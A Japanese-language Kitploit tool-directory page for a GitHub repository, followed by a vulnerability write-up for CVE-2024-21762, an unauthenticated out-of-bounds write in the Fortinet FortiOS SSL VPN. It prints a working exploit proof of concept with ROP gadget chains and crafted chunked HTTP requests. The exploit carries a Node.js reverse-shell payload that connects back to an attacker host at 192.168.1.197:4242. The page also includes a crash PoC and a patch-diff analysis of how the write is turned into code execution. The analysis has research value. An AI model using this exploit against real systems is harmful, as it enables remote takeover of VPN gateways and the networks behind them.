Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-21762 — Fortinet FortiOS の範囲外書き込み CVE-2024-21762 脆弱性 | Kitploit
ツール/GitHubGitHub/h4x0r-dz/cve-2024-21762
脆弱性分析エクスプロイトウェブアプリケーション悪用リモートアクセスツールペイロード開発バイナリエクスプロイト
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

Fortinet FortiOS の範囲外書き込み CVE-2024-21762 脆弱性

リポジトリを見る
1502582年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-21762

Fortinet FortiOS における境界外書き込み脆弱性 CVE-2024-21762

assetnote によるエクスプロイト PoC


ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

脆弱性

FortiGate は2月にバージョンアップデートをリリースし、複数の中リスクおよび高リスクの脆弱性を修正しました。そのうちの深刻なレベルの脆弱性の1つが、SSL VPN における認証不要の境界外書き込み脆弱性です。脆弱性の警告によれば、この脆弱性は野外で悪用される可能性があります。本記事では、この脆弱性を悪用してリモートコード実行を達成するまでのプロセスに関する著者の分析を紹介します。

image

本記事で脆弱性分析に使用した環境は FGT_VM64-v7.4.2.F-build2571 です。

diff

修正されたバージョン(7.4.2 と 7.4.3)のバイナリを比較したところ、修正コードは関数 sub_18F4980(7.4.2)に存在することが分析により判明しました。

image

この関数を解析すると、そのロジックが HTTP POST リクエストのボディデータを読み取るものであることは難しくありません。同時に、Transfer-Encoding リクエストヘッダに従って、チャンク形式で読み取るか Content-Length に基づいて読み取るかを判断します。制御フローグラフの比較結果によると、コードの修正箇所は2つあります。

チャンク形式を解析する際、ap_getline を呼び出してチャンク長を読み取り、ap_getline の戻り値が16より大きいかどうかをチェックします。16より大きい場合は不正なチャンク長と見なします。

image

チャンクトレーラを読み取るとき、書き込まれる \r\n のオフセットのソースは line_off であり、line_off の値の代入元は、修正前は *(_QWORD *)(a1 + 744)、修正後は ap_getline の戻り値です。

さらに前方にトレースすると、*(_QWORD *)(a1 + 744) の値は最初の検証のチャンク長フィールドの長さであることがわかります。

image

さらに前方にトレースすると、*(_QWORD *)(a1 + 744) の値は最初の検証のチャンク長フィールドの長さであることがわかります。

image

同時に、コードを読むと、チャンク長フィールドの16進デコード後の値が0の場合、チャンクトレーラ読み取りのロジックに入ることがわかります。

境界外書き込みのトリガー

パッチを分析した後、以下の結論を導き出すことができます。

  1. チャンクを解析する際、チャンク長フィールドの16進デコード後の値が0の場合、チャンクトレーラの読み取りを開始します。
  2. ap_getline を呼び出してチャンクトレーラを読み取った後、チャンク長フィールドの長さに従ってバッファに \r\n を書き込みます。

したがって、チャンク長フィールドに多数の0が渡され、その0の長さが残りのバッファ長の1/2より大きい場合、\r\n の境界外書き込みがトリガーされます。デバッグにより、ターゲットバッファがスタック上(sub_1A111E0 関数)にあり、リターンアドレスがオフセット0x2028に格納されていることがわかります。オフセット0x202eに \r\n が書き込まれると、関数が戻って ret 命令を実行して rip を復元する際に、不正なアドレスが原因でクラッシュが発生します。

Crash PoC:

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

クラッシュシーン:

image

脆弱性の原因を分析すると、この脆弱性を悪用してスタック上に \r\n の2バイトを境界外書き込みでき、その範囲は 0x2000 近くに及びます。書き込まれる内容は非常に限られているため、rip を直接乗っ取って RCE を達成することはできません。そのため、スタック上に保存されたメモリポインタに注目する必要があります。

失敗した試み

まず思いつくのは、rbp を乗っ取り、rbp の下位バイトを上書きして、rbp が制御可能なメモリ領域をちょうど指すようにすることです。上位の関数が leave; ret 命令を実行して戻るときに、rip を完全に乗っ取ることができます。しかし、検証中に、スタック上の rbp を上書きしても、rsp と rip を乗っ取ることができず、プログラムはクラッシュすらしないことがわかりました。さらに上流にトレースすると、親関数 sub_1A26040 が見つかります。この関数は戻るときに leave; ret を呼び出して rsp を復元するのではなく、直接 add rsp, 0x18 を実行するため、期待した効果は得られません。

image

別の突破点を探す

前節で見たように、関数 sub_1A26040 は5つのレジスタ rbx および r12-r15 の値をスタックに保存し、関数が戻るときにこれらのレジスタを復元します。さらにバックトラックして親関数 sub_1A27650 を見つけます。r13 に保存されているのは、まさにパラメータ a1 であることがわかります。

a1 は構造体ポインタです。デバッグにより、スタック上の r13 にヒープアドレスが保存されていることも確認できます。

image

図の赤い領域のメモリが境界外書き込みによって上書きされた場合、関数が戻るときに r13 レジスタが復元され、ポインタの値を改ざんできます。ヒープメモリをレイアウトして、a1 が事前に配置されたメモリ領域を指すようにできれば、a1 構造体全体を乗っ取ることができます。同時に、sub_1A27650 と sub_1A26040 のコードロジックの分析により、a1 の多段構造体メンバに対する動的な関数呼び出しが多数存在するため、a1 を乗っ取る機会が増えます。

構造体の乗っ取り

仮定に従い、a1 ポインタの下位バイトが \r\n によって上書きされた後、事前に配置されたメモリを指すようになります。図の通りです。

image

この効果を達成するには、以下の条件を満たす必要があります。

  • a1 構造体のアドレスがヒープスプレー領域のアドレスよりも高く、それらの間のギャップが非常に小さいこと。
  • 0x7fxxxxxxx0a0d が偽造された構造体を指すこと。

デバッグにより、a1 構造体のサイズは 0x730 であることがわかります。jemalloc のアライメントルールに従い、サイズ 0x800 のヒープブロックが割り当てられます。0x800 のヒープブロックはリクエスト処理中にあまり一般的に使用されないため、tcache 内の 0x800 ヒープブロックを使い果たしやすく、同時に新しい 0x800 ブロックをより多く要求し、解放後に tcache に入るようになります。ヒープスプレーも、あまり一般的でないサイズのヒープブロックを選択して、新しく要求されたヒープブロックが連続し、新しく要求された 0x800 に近くなるようにします。また、ヒープスプレーではより大きなヒープブロックを使用して、そのアドレスが 0x800 にアラインされるようにし、各偽造構造体アドレスの下位12ビットが 0xa0d になることを容易に保証します。ヒープスプレーの範囲は 0x10000 以上にして、0x7fxxxxxxx0a0d がヒープスプレー領域を指すことを保証します。乗っ取り後の効果は以下の通りです。

image

悪用可能な多段ポインタの探索

上記の操作により、a1 構造体の乗っ取りを実現できます。関数 sub_1A27650 と sub_1A26040 のコードを整理すると、a1 構造体メンバの2段ポインタや3段ポインタへの動的な呼び出しが多数存在します。例えば以下の通りです。

image

ツールをダウンロード